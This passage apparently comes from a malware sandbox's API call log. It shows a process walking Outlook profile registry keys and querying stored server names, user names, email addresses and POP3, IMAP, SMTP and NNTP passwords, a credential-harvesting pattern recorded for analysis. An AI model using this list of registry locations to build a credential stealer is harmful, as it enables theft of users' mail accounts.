[0096.489] RegCloseKey (hKey=0x930) returned 0x0 [0096.489] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.489] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.489] RegCloseKey (hKey=0x930) returned 0x0 [0096.489] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.489] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.489] RegCloseKey (hKey=0x930) returned 0x0 [0096.489] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.490] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.490] RegCloseKey (hKey=0x930) returned 0x0 [0096.490] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.490] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.490] RegCloseKey (hKey=0x930) returned 0x0 [0096.490] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.490] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.490] RegCloseKey (hKey=0x930) returned 0x0 [0096.490] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.490] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.490] RegCloseKey (hKey=0x930) returned 0x0 [0096.490] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.490] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.490] RegCloseKey (hKey=0x930) returned 0x0 [0096.490] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.490] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.490] RegCloseKey (hKey=0x930) returned 0x0 [0096.490] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.491] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.491] RegCloseKey (hKey=0x930) returned 0x0 [0096.491] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.491] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.491] RegCloseKey (hKey=0x930) returned 0x0 [0096.491] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.491] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.491] RegCloseKey (hKey=0x930) returned 0x0 [0096.491] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.491] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.491] RegCloseKey (hKey=0x930) returned 0x0 [0096.491] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.491] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.491] RegCloseKey (hKey=0x930) returned 0x0 [0096.491] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.491] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.491] RegCloseKey (hKey=0x930) returned 0x0 [0096.491] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.491] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.491] RegCloseKey (hKey=0x930) returned 0x0 [0096.492] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", phkResult=0x54de440 | out: phkResult=0x54de440*=0x930) returned 0x0 [0096.492] RegEnumKeyExA (in: hKey=0x930, dwIndex=0x0, lpName=0x54de450, lpcchName=0x54dec78, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54dec78, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.492] RegCloseKey (hKey=0x930) returned 0x0 [0096.492] LocalFree (hMem=0x4472930) returned 0x0 [0096.492] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x1, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000002", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.492] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0096.492] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x4472930 [0096.492] wsprintfA (in: param_1=0x4472930, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002") returned 97 [0096.492] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.492] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.492] RegCloseKey (hKey=0x930) returned 0x0 [0096.492] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.492] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x5) returned 0x0 [0096.492] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340480 [0096.492] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x4340480, lpcbData=0x54de2a8*=0x5 | out: lpType=0x0, lpData=0x4340480*=0x68, lpcbData=0x54de2a8*=0x5) returned 0x0 [0096.492] RegCloseKey (hKey=0x930) returned 0x0 [0096.493] GetProcAddress (hModule=0x7fefd710000, lpProcName="IsTextUnicode") returned 0x7fefd730720 [0096.493] IsTextUnicode (in: lpv=0x4340480, iSize=5, lpiResult=0x0 | out: lpiResult=0x0) returned 0 [0096.493] lstrlenA (lpString="hthr") returned 4 [0096.493] LocalAlloc (uFlags=0x40, uBytes=0x5) returned 0x28f6eb0 [0096.493] lstrcpyA (in: lpString1=0x28f6eb0, lpString2="hthr" | out: lpString1="hthr") returned="hthr" [0096.493] LocalFree (hMem=0x4340480) returned 0x0 [0096.493] lstrlenA (lpString="SMTP Server") returned 11 [0096.493] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x4340480 [0096.493] LocalReAlloc (hMem=0x4340480, uBytes=0x17, uFlags=0x2) returned 0x42baa50 [0096.493] lstrlenA (lpString="hthr") returned 4 [0096.493] LocalReAlloc (hMem=0x42baa50, uBytes=0x1b, uFlags=0x2) returned 0x433e580 [0096.493] LocalReAlloc (hMem=0x433e580, uBytes=0x1c, uFlags=0x2) returned 0x433e580 [0096.493] LocalFree (hMem=0x28f6eb0) returned 0x0 [0096.493] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.493] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x6) returned 0x0 [0096.493] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x4340480 [0096.493] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x4340480, lpcbData=0x54de2a8*=0x6 | out: lpType=0x0, lpData=0x4340480*=0x66, lpcbData=0x54de2a8*=0x6) returned 0x0 [0096.493] RegCloseKey (hKey=0x930) returned 0x0 [0096.493] IsTextUnicode (in: lpv=0x4340480, iSize=6, lpiResult=0x0 | out: lpiResult=0x0) returned 0 [0096.493] lstrlenA (lpString="fgerh") returned 5 [0096.493] LocalAlloc (uFlags=0x40, uBytes=0x6) returned 0x28f6eb0 [0096.494] lstrcpyA (in: lpString1=0x28f6eb0, lpString2="fgerh" | out: lpString1="fgerh") returned="fgerh" [0096.494] LocalFree (hMem=0x4340480) returned 0x0 [0096.494] lstrlenA (lpString="POP3 Server") returned 11 [0096.494] LocalReAlloc (hMem=0x433e580, uBytes=0x27, uFlags=0x2) returned 0x4416a70 [0096.494] LocalReAlloc (hMem=0x4416a70, uBytes=0x29, uFlags=0x2) returned 0x281d730 [0096.494] lstrlenA (lpString="fgerh") returned 5 [0096.494] LocalReAlloc (hMem=0x281d730, uBytes=0x2e, uFlags=0x2) returned 0x281d730 [0096.494] LocalReAlloc (hMem=0x281d730, uBytes=0x2f, uFlags=0x2) returned 0x281d730 [0096.494] LocalFree (hMem=0x28f6eb0) returned 0x0 [0096.494] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.494] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.494] RegCloseKey (hKey=0x930) returned 0x0 [0096.494] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.494] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.494] RegCloseKey (hKey=0x930) returned 0x0 [0096.494] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.494] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.494] RegCloseKey (hKey=0x930) returned 0x0 [0096.494] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.494] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.494] RegCloseKey (hKey=0x930) returned 0x0 [0096.495] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.495] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.495] RegCloseKey (hKey=0x930) returned 0x0 [0096.495] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.495] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.495] RegCloseKey (hKey=0x930) returned 0x0 [0096.495] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.495] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.495] RegCloseKey (hKey=0x930) returned 0x0 [0096.495] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.495] RegQueryValueExA (in: hKey=0x930, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0xf) returned 0x0 [0096.495] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x4340480 [0096.495] RegQueryValueExA (in: hKey=0x930, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x4340480, lpcbData=0x54de2a8*=0xf | out: lpType=0x0, lpData=0x4340480*=0x73, lpcbData=0x54de2a8*=0xf) returned 0x0 [0096.495] RegCloseKey (hKey=0x930) returned 0x0 [0096.495] IsTextUnicode (in: lpv=0x4340480, iSize=15, lpiResult=0x0 | out: lpiResult=0x0) returned 0 [0096.495] lstrlenA (lpString="sdjwh@dive.djh") returned 14 [0096.495] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x4340460 [0096.495] lstrcpyA (in: lpString1=0x4340460, lpString2="sdjwh@dive.djh" | out: lpString1="sdjwh@dive.djh") returned="sdjwh@dive.djh" [0096.495] LocalFree (hMem=0x4340480) returned 0x0 [0096.495] lstrlenA (lpString="Email") returned 5 [0096.495] LocalReAlloc (hMem=0x281d730, uBytes=0x34, uFlags=0x2) returned 0x28935e0 [0096.495] LocalReAlloc (hMem=0x28935e0, uBytes=0x36, uFlags=0x2) returned 0x281d730 [0096.496] lstrlenA (lpString="sdjwh@dive.djh") returned 14 [0096.496] LocalReAlloc (hMem=0x281d730, uBytes=0x44, uFlags=0x2) returned 0x436a550 [0096.496] LocalReAlloc (hMem=0x436a550, uBytes=0x45, uFlags=0x2) returned 0x71f0950 [0096.496] LocalFree (hMem=0x4340460) returned 0x0 [0096.496] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.496] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.496] RegCloseKey (hKey=0x930) returned 0x0 [0096.496] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.496] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.496] RegCloseKey (hKey=0x930) returned 0x0 [0096.496] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.496] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0xf) returned 0x0 [0096.496] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x4340460 [0096.496] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x4340460, lpcbData=0x54de2a8*=0xf | out: lpType=0x0, lpData=0x4340460*=0x73, lpcbData=0x54de2a8*=0xf) returned 0x0 [0096.496] RegCloseKey (hKey=0x930) returned 0x0 [0096.496] IsTextUnicode (in: lpv=0x4340460, iSize=15, lpiResult=0x0 | out: lpiResult=0x0) returned 0 [0096.496] lstrlenA (lpString="sdjwh@dive.djh") returned 14 [0096.496] LocalAlloc (uFlags=0x40, uBytes=0xf) returned 0x4340480 [0096.496] lstrcpyA (in: lpString1=0x4340480, lpString2="sdjwh@dive.djh" | out: lpString1="sdjwh@dive.djh") returned="sdjwh@dive.djh" [0096.496] LocalFree (hMem=0x4340460) returned 0x0 [0096.496] lstrlenA (lpString="POP3 User") returned 9 [0096.496] LocalReAlloc (hMem=0x71f0950, uBytes=0x4e, uFlags=0x2) returned 0x25f6b0 [0096.497] LocalReAlloc (hMem=0x25f6b0, uBytes=0x50, uFlags=0x2) returned 0x25f6b0 [0096.497] lstrlenA (lpString="sdjwh@dive.djh") returned 14 [0096.497] LocalReAlloc (hMem=0x25f6b0, uBytes=0x5e, uFlags=0x2) returned 0x4434da0 [0096.497] LocalReAlloc (hMem=0x4434da0, uBytes=0x5f, uFlags=0x2) returned 0x4434da0 [0096.497] LocalFree (hMem=0x4340480) returned 0x0 [0096.497] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.497] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.497] RegCloseKey (hKey=0x930) returned 0x0 [0096.497] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.497] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.497] RegCloseKey (hKey=0x930) returned 0x0 [0096.497] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.497] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.497] RegCloseKey (hKey=0x930) returned 0x0 [0096.497] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.497] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.497] RegCloseKey (hKey=0x930) returned 0x0 [0096.497] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.498] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.498] RegCloseKey (hKey=0x930) returned 0x0 [0096.498] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.498] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.498] RegCloseKey (hKey=0x930) returned 0x0 [0096.498] RegOpenKeyExA (in: hKey=0xffffffff80000001, 